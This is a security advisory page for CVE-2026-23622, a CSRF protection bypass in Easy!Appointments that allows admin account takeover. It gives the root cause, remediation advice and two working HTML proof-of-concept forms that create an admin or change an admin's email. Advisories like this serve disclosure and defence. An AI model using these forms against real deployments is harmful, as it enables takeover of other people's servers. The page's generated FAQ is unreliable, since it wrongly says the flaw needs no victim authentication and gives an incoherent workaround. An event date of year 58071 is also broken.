CVE-2026-23622: CSRF Protection Bypass: Sensitive endpoints accept GET requests, enabling admin account takeover

Published Jan 15, 2026
·
Updated

Summary application/core/EASecurity.php::csrfverify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover

Details

in https://github.com/alextselegidis/easyappointments/blob/41c9b93a5a2c185a914f204412324d8980943fd5/application/core/EASecurity.php#L52

Repository / tested commit: alextselegidis/easyappointments — commit 41c9b93a5a2c185a914f204412324d8980943fd5. Vulnerable file & function: application/core/EASecurity.php::csrfverify() — around line 52. Link: .../application/core/EASecurity.php#L52. Root cause: The function early-returns when the request is not POST:

php // vulnerable snippet if (strtoupper($SERVER['REQUESTMETHOD']) !== 'POST') { return $this->csrfsetcookie(); }

Because of this, non-POST requests (GET/PUT/DELETE/etc.) never reach token validation. When application controllers accept state-changing parameters via GET or $REQUEST, these requests bypass CSRF checks entirely and the application executes the state change.

Examples of vulnerable endpoints (observed during testing):

index.php/admins/store — create admin (accepts fields via GET) index.php/admins/update — modify admin (accepts fields via GET) index.php/account/save — modify account/password (accepts fields via GET)

Why this is critical: An attacker can host a simple page that issues requests (e.g., <form method="GET" action="..."> or an auto-submitting form). If an authenticated admin visits that page, the attacker can create an admin account, change admin email, or change password—enabling account takeover and full compromise of the application instance.

PoC I will attach video proof showing how I add an admin via CSRF. Below are reproducible PoC artifacts and steps to reproduce locally

https://github.com/user-attachments/assets/3fea1034-c479-43d9-9c40-86f8ba0b33c1

Browser PoC (HTML) Save one of the HTML files (example csrfaddadminaccount.html) on an attacker server and visit it with a browser where the admin is logged into Easy!Appointments:

html <html> <body> <form method="GET" action="http://localhost:80/easyappointments/index.php/admins/store"> <input type="hidden" name="admin[firstname]" value="adminaddbycsrf"> <input type="hidden" name="admin[lastname]" value="poc"> <input type="hidden" name="admin[email]" value="poc@gmail.com"> <input type="hidden" name="admin[mobilenumber]" value=""> <input type="hidden" name="admin[phonenumber]" value="0923092"> <input type="hidden" name="admin[address]" value=""> <input type="hidden" name="admin[city]" value=""> <input type="hidden" name="admin[state]" value=""> <input type="hidden" name="admin[zipcode]" value=""> <input type="hidden" name="admin[notes]" value=""> <input type="hidden" name="admin[language]" value="english"> <input type="hidden" name="admin[timezone]" value="UTC"> <input type="hidden" name="admin[settings][username]" value="admincsrf1"> <input type="hidden" name="admin[settings][notifications]" value="1"> <input type="hidden" name="admin[settings][calendarview]" value="table"> <input type="hidden" name="admin[settings][password]" value="changeme"> <input type="submit" value="Submit request"> </form> </body> </html>

another example for another endpoint

csrfchangeadminemail.html

html <html> <body> <form method="GET" action="http://localhost:80/easyappointments/index.php/admins/update"> <input type="hidden" name="admin[firstname]" value="test"> <input type="hidden" name="admin[lastname]" value="cve"> <input type="hidden" name="admin[email]" value="test1@cve.com"> <input type="hidden" name="admin[mobilenumber]" value=""> <input type="hidden" name="admin[phonenumber]" value="0101900"> <input type="hidden" name="admin[address]" value=""> <input type="hidden" name="admin[city]" value=""> <input type="hidden" name="admin[state]" value=""> <input type="hidden" name="admin[zipcode]" value=""> <input type="hidden" name="admin[notes]" value=""> <input type="hidden" name="admin[language]" value="english"> <input type="hidden" name="admin[timezone]" value="UTC"> <input type="hidden" name="admin[settings][username]" value="testn"> <input type="hidden" name="admin[settings][notifications]" value="1"> <input type="hidden" name="admin[settings][calendarview]" value="default"> <input type="hidden" name="admin[id]" value="1"> <input type="submit" value="Submit request"> </form> </body> </html>

Suggested remediation (recommended)

Provide two practical remediation paths mmediate and long-term:

Immediate (urgent, low-effort): Enforce CSRF checks for all methods and do not skip validation for non-POST. Minimal core fix:

This closes the common bypass route while keeping read-only GET behavior intact.

Stricter immediate option (no-bypass): Require a valid CSRF token for all methods (including GET) unless the URI is explicitly whitelisted in csrfexcludeuris. This prevents GET-based bypass even if controllers remain unchanged but may require updates to legitimate GET consumers.

Long-term (recommended, correct fix):

1. Controller hardening: Update controllers so all state-changing actions accept only the proper HTTP method (POST/PUT/DELETE) . 2. Require re-authentication or confirmation for critical operations (email/password changes). 3. Set cookie flags: SameSite, Secure, and HttpOnly as appropriate.

Impact

Type: Cross-Site Request Forgery (CSRF) allowing account takeover / privilege escalation. Who is impacted: Any deployment of Easy!Appointments using the vulnerable code where administrative or sensitive endpoints accept GET or use $REQUEST (what i found is almost every endpoint work with GET and POST). Logged-in administrator users are at greatest risk. Consequences: An attacker can create administrative accounts, change administrator emails/passwords (leading to password reset abuse), and fully compromise application instances and data.

Other sources

Easy!Appointments is a self hosted appointment scheduler. In 1.5.2 and earlier, application/core/EASecurity.php::csrfverify() only enforces CSRF for POST requests and returns early for non-POST methods. Several application endpoints perform state-changing operations while accepting parameters from GET (or $REQUEST), so an attacker can perform CSRF by forcing a victim's browser to issue a crafted GET request. Impact: creation of admin accounts, modification of admin email/password, and full admin account takeover.

MITRE

Affected Software

3 affected components
Easy!Appointments Easy!Appointments<1.5.2
composer/alextselegidis/easyappointments<=1.5.2
EasyAppointments Easy\!appointments<=1.5.2

Event History

Jan 15, 2026
CVE Published
via MITRE·07:28 PM
Data Sourced
via MITRE·07:28 PM
DescriptionWeakness
Advisory Published
via GitHub·08:11 PM
Data Sourced
via GitHub·08:11 PM
DescriptionWeaknessAffected Software
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
Affected Software
Apr 20, 58071
Event
via FIRST·07:57 AM
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-23622?

CVE-2026-23622 has a critical severity level due to its ability to allow admin account takeover through unprotected GET requests.

2

How do I fix CVE-2026-23622?

To fix CVE-2026-23622, ensure that CSRF protection is enforced for all state-changing endpoint requests, including GET requests.

3

What software versions are affected by CVE-2026-23622?

CVE-2026-23622 affects Easy!Appointments versions up to and including 1.5.2.

4

Can I exploit CVE-2026-23622 without authentication?

Yes, CVE-2026-23622 can be exploited without authentication since it allows sensitive operations through GET requests.

5

Is there a workaround for CVE-2026-23622 before applying a fix?

A temporary workaround for CVE-2026-23622 is to restrict access to sensitive endpoints to authenticated users only.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203